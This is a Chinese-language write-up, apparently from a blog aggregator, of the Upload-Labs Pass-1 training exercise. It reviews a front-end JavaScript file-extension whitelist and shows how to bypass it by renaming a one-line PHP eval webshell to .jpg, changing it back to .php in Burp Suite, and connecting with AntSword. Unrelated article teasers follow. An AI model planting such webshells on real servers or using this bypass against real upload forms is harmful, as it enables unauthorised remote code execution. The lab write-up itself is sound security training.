当前位置: 首页 > news >正文

Upload-Labs:Pass - 1(JS前端白名单)

Pass_1

    • 1. 上传测试
    • 2. 代码审计
      • **获取文件输入的值**:
      • **检查是否选择了文件**:
      • **定义允许的文件类型**:
      • **提取文件的扩展名**:
      • **检查文件类型是否允许上传**:
      • **构建错误消息并提醒用户**:
    • 3.绕过思路
      • 3.1 将`WebShell`改为`.jpg`
      • 3.2 使用 Burp Suite 监听、上传、改包
    • 4. `WebShell`连接测试

在这里插入图片描述

1. 上传测试

  • 上传WebShell.php文件看一下回显

在这里插入图片描述

从回显提示看只能上传.jpg .png .gif格式的文件

2. 代码审计

在这里插入图片描述

function checkFile() {// 步骤 1: 获取名为 'upload_file' 的输入字段的值var file = document.getElementsByName('upload_file')[0].value;

获取文件输入的值

  • 这行代码使用 document.getElementsByName('upload_file')[0] 来获取页面上第一个名为 ‘upload_file’ 的 <input> 元素的值。
  • file 变量保存了用户在该输入字段中选择的文件的路径或文件名。
  • 在一些浏览器中,file 可能只包含文件名,而不包含完整路径。

 

    // 步骤 2: 检查文件输入是否为空或未定义if (file == null || file == "") {alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件return false; // 停止执行函数并返回 false}

检查是否选择了文件

  • 这段代码首先检查 file 变量是否为空 (null) 或空字符串 ("")。
  • 如果 file 是空的,说明用户没有选择任何文件。
  • alert("请选择要上传的文件!") 会弹出一个提示框,通知用户他们需要选择一个文件。
  • return false 用来终止函数的执行,并且阻止表单的提交或进一步的操作。

 

    // 步骤 3: 定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif

定义允许的文件类型

  • 这里定义了一个包含允许上传的文件类型的字符串 allow_ext
  • 这个字符串使用竖线 | 分隔每种允许的文件扩展名,表示可以上传 .jpg.png.gif 类型的文件。

 

    // 步骤 4: 提取上传文件的扩展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)

提取文件的扩展名

  • file.lastIndexOf(".") 找到文件名中最后一个点 . 的位置。
  • substring 方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是 image.jpg,那么 ext_name 就是 .jpg)。
  • 这种方法提取的扩展名包含了前面的点 .

 

    // 步骤 5: 判断上传的文件类型是否在允许的范围内if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg

检查文件类型是否允许上传

  • allow_ext.indexOf(ext_name + "|") 检查 allow_ext 字符串中是否包含 ext_name 加上一个竖线 | 的部分。
  • 这样做的目的是为了避免部分匹配的问题,例如避免 .jpg 匹配到 .jpeg
  • 如果 indexOf 返回 -1,说明 ext_name 不在 allow_ext 中,即文件类型不被允许上传。

 

        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型alert(errMsg); // 弹出错误提示return false; // 停止执行并返回 false}
}

构建错误消息并提醒用户

  • 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
  • alert(errMsg) 会弹出这个错误消息框,通知用户选择的文件类型不符合要求。
  • return false 停止函数的进一步执行,并阻止表单的提交或后续处理。

3.绕过思路

  • 该验证是属于前端白名单验证,当点击上传的时候客户端浏览器会检测文件是否是.jpg .png .gif其中一种格式,我们可以将WebShell文件先改为.jpg文件,之后使用Burp Suite抓包把文件改为.php从而绕过。

3.1 将WebShell改为.jpg

  • 将代码复制粘贴保存为.jpg文件

    <?php @eval($_POST['Hack']); ?>
    

    在这里插入图片描述

3.2 使用 Burp Suite 监听、上传、改包

  • 改为 .php 格式后放行数据包

在这里插入图片描述
 

4. WebShell连接测试

  • 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
  • 蚂剑连接WebShell测试

在这里插入图片描述

相关文章:

Upload-Labs:Pass - 1(JS前端白名单)

Pass_1 1. 上传测试2. 代码审计**获取文件输入的值**&#xff1a;**检查是否选择了文件**&#xff1a;**定义允许的文件类型**&#xff1a;**提取文件的扩展名**&#xff1a;**检查文件类型是否允许上传**&#xff1a;**构建错误消息并提醒用户**&#xff1a; 3.绕过思路3.1 将…...

vue大作业-实现学校官网

vue大作业-实现学校官网 基于vue2实现的学校官网 项目展示 学校官网介绍 欢迎访问我们学校的官方网站&#xff0c;这里为您提供了全面的信息和资源&#xff0c;帮助您更好地了解我们的教育理念、教学资源和学术活动。 首页 首页是您了解我们学校的起点。这里展示了学校的最…...

24面试记录002

文章目录 12、brpc的优化2.1 brpc网络有啥降级&#xff1f; 3、移动语义4、python协程 二、1. mq怎么保障数据的顺序&#xff1f;3.brpc中上下游通信&#xff0c;怎么测评新增字段大小&#xff0c;对耗时的影响&#xff1f; 1 1、brpc和grpc区别&#xff0c;为啥选择brpc? gr…...

cocos 按钮

1、创建按钮 2、创建脚本 3、将脚本挂载到其他节点上 4、将节点和按钮绑定 即可实现点击按钮触发脚本。 在触发的脚本函数里面设置按钮节点的位置&#xff0c;将其移除屏幕&#xff0c;可以实现点击消失按钮的效果。...

文件扫描工具都有哪些?职场大佬都在用的文本提取工具大盘点~

回想起刚毕业初入职场那阵子&#xff0c;领导让帮忙把纸质文件扫描提取为文本时&#xff0c;还只会傻乎乎地一点点操作&#xff0c;属实是费劲得很&#xff01; 好在后面受朋友安利&#xff0c;找到了4个能够快速实现文件扫描文字提取的方法&#xff0c;这才让我的办公效率蹭蹭…...

【学习】程序员资源网站

1 书栈网 简介&#xff1a;书栈网是程序员互联网IT开源编程书籍、资源免费阅读的网站&#xff0c;在书栈网你可以找到很多书籍、笔记资源。在这里&#xff0c;你可以根据热门收藏和阅读查看大家都在看什么&#xff0c;也可以根据技术栈分类找到对应模块的编程资源&#xff0c;…...

游戏缓存与异步持久化的完美邂逅

1、问题提出 游戏服务器,需要频繁的读取玩家数据,同时也需求频发修改玩家数据,并持久化到数据库。为了提高游戏服务器的性能,我们应该怎么处理呢? 2、针对读——使用缓存 缓存,是指应用程序从数据库读取完数据之后,就将数据缓存在进程内存或第三方内存(例如redis)。…...

MySQL 高级 - 第十二章 | 数据库的设计规范

目录 第十二章 数据库的设计规范12.1 为什么需要数据库设计12.2 范式12.2.1 范式简介12.2.2 范式都包括哪些12.2.3 键和相关属性的概念12.2.4 第一范式&#xff08;1st NF&#xff09;12.2.5 第二范式&#xff08;2nd NF&#xff09;12.2.6 第三范式&#xff08;3rd NF&#xf…...

【Python】AJAX

AJAX基础 一、AJAX1.1 概述1.2 XMLHttpRequest对象1.3 AJAX请求六部曲1.4 图解AJAX请求步骤 二、jQuery与AJAX2.1 jQuery.get()2.2 jQuery.getJSON()2.3 jQuery.post()2.4 jQuery.ajax() 三、Django使用AJAX3.1 请求类型3.2 PUT与PATCH的区别3.3 接收及响应JSON3.3.1 接收JSON3…...

scikit-image安装报错

scikit-image安装报错&#xff1a; pip install scikit-image0.21.0 报错信息&#xff1a; Collecting PyWavelets>1.1.1 (from scikit-image0.21.0) Installing build dependencies … error error: subprocess-exited-with-error 解决方法&#xff1a; 提前安装好PyWave…...

STM32(七)———TIM定时器(基本and通用)

文章目录 前言一、通用定时器TIM简介1.STM32F10X系列总共最多有八个定时器&#xff1a;2.三种STM32定时器的区别&#xff1a;3.STM32 的通用定时器功能&#xff1a;4.计数器模式 二、基本定时器1.基本定时器的结构框图2.定时时间的计算3.定时器的结构体和库函数 总结 前言 一个…...

Spring中网络请求客户端WebClient的使用详解

Spring中网络请求客户端WebClient的使用详解_java_脚本之家 Spring5的WebClient使用详解-腾讯云开发者社区-腾讯云 在 Spring 5 之前&#xff0c;如果我们想要调用其他系统提供的 HTTP 服务&#xff0c;通常可以使用 Spring 提供的 RestTemplate 来访问&#xff0c;不过由于 …...

那些年我为了考PMP踩过的坑.....

说到考PMP我尊嘟很难过且伤心&#xff0c;众所周知&#xff0c;报考PMP都是要报机构的而且还是PMI认证的机构&#xff0c;所以在报考PMP过程中选的机构我可以说踩过了很多坑了...... Q&#xff1a;包过吗&#xff1f; 大家千万不要信某某机构说的包过噱头&#xff0c;真的很坑…...

邦芒解析:新人入职后存在的三种职场心理误区

​​多数职场新人会认为自己工作不快乐&#xff0c;不能正确处理职场人际关系。尤其是新人入职后在处理人际关系方面更明显&#xff0c;下面简述新人入职后主要存在的三种职场心理误区。 误区一&#xff1a;面对对上司的恐惧 学会和上司沟通&#xff0c;新人要采用上司容易接受…...

MFC案例:利用SetTimer函数编写一个“计时器”程序

一、希望达成效果 利用基于对话框的MFC项目&#xff0c;做一个一方面能够显示当前时间&#xff1b;另一方面在点击开始按钮时进行读秒计时&#xff0c;计时结果动态显示&#xff0c;当点击结束时读秒结束并保持最后结果。 二、编程步骤及相关代码、注释 1、启动VS…...

2. 音视频H264

视频软件基本流程 1.什么是H264 H.264是由ITU-T视频编码专家组&#xff08;VCEG&#xff09;和ISO/IEC动态图像专家组&#xff08;MPEG&#xff09;联合组成的联合视频组&#xff08;JVT&#xff0c;Joint Video Team&#xff09;提出的高度压缩数字视频编解码器标准 H265又名高…...

烽宇团队回报社会,走进贵州山区公益行

贵州省——在一片美丽的黔山秀水间,烽宇团队成员用实际行动诠释了“取之于民,用之于民”的公益精神。作为在科技和商业领域取得显著成就的团队,烽宇团队不仅在商业上取得了辉煌的成绩,还积极投身于社会公益事业,回报社会。 取之于民,用之于民 近年来,烽宇团队在多位行业领袖的…...

硬盘格式化NTFS好还是exFAT好 U盘存储文件用哪个格式好? 硬盘用exfat还是ntfs mac不能读取移动硬盘怎么解决

在计算机世界中&#xff0c;文件系统是数据管理的基石&#xff0c;而NTFS和exFAT无疑是这块基石上的两大巨头。它们各自拥有独特的特点和优势&#xff0c;并在不同的使用场景中发挥着重要作用。 什么是文件系统 文件系统提供了组织驱动器的方法。它规定了如何在驱动器上存储数…...

Elasticsearch机器学习初探:智能数据洞察

在当今数据驱动的时代&#xff0c;企业越来越依赖于数据来做出明智的决策。然而&#xff0c;随着数据量的不断增长和复杂性的增加&#xff0c;传统的数据分析方法已经无法满足快速、准确洞察数据的需求。为了应对这一挑战&#xff0c;Elasticsearch引入了机器学习功能&#xff…...

贪心算法——赶作业(C++)

慢慢来&#xff0c;沉稳一点。 2024年6月18日 题目描述 A同学有n份作业要做&#xff0c;每份作业有一个最后期限&#xff0c;如果在最后期限后交作业就会扣分&#xff0c;现在假设完成每份作业都需要一天。A同学想安排作业顺序&#xff0c;把扣分降到最低&#xff0c;请帮他实…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)

一、数据处理与分析实战 &#xff08;一&#xff09;实时滤波与参数调整 基础滤波操作 60Hz 工频滤波&#xff1a;勾选界面右侧 “60Hz” 复选框&#xff0c;可有效抑制电网干扰&#xff08;适用于北美地区&#xff0c;欧洲用户可调整为 50Hz&#xff09;。 平滑处理&…...

【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力

引言&#xff1a; 在人工智能快速发展的浪潮中&#xff0c;快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型&#xff08;LLM&#xff09;。该模型代表着该领域的重大突破&#xff0c;通过独特方式融合思考与非思考…...

cf2117E

原题链接&#xff1a;https://codeforces.com/contest/2117/problem/E 题目背景&#xff1a; 给定两个数组a,b&#xff0c;可以执行多次以下操作&#xff1a;选择 i (1 < i < n - 1)&#xff0c;并设置 或&#xff0c;也可以在执行上述操作前执行一次删除任意 和 。求…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列&#xff0c;以便知晓哪些列包含有价值的数据&#xff0c;…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

【MATLAB代码】基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),附源代码|订阅专栏后可直接查看

文章所述的代码实现了基于最大相关熵准则(MCC)的三维鲁棒卡尔曼滤波算法(MCC-KF),针对传感器观测数据中存在的脉冲型异常噪声问题,通过非线性加权机制提升滤波器的抗干扰能力。代码通过对比传统KF与MCC-KF在含异常值场景下的表现,验证了后者在状态估计鲁棒性方面的显著优…...

苹果AI眼镜:从“工具”到“社交姿态”的范式革命——重新定义AI交互入口的未来机会

在2025年的AI硬件浪潮中,苹果AI眼镜(Apple Glasses)正在引发一场关于“人机交互形态”的深度思考。它并非简单地替代AirPods或Apple Watch,而是开辟了一个全新的、日常可接受的AI入口。其核心价值不在于功能的堆叠,而在于如何通过形态设计打破社交壁垒,成为用户“全天佩戴…...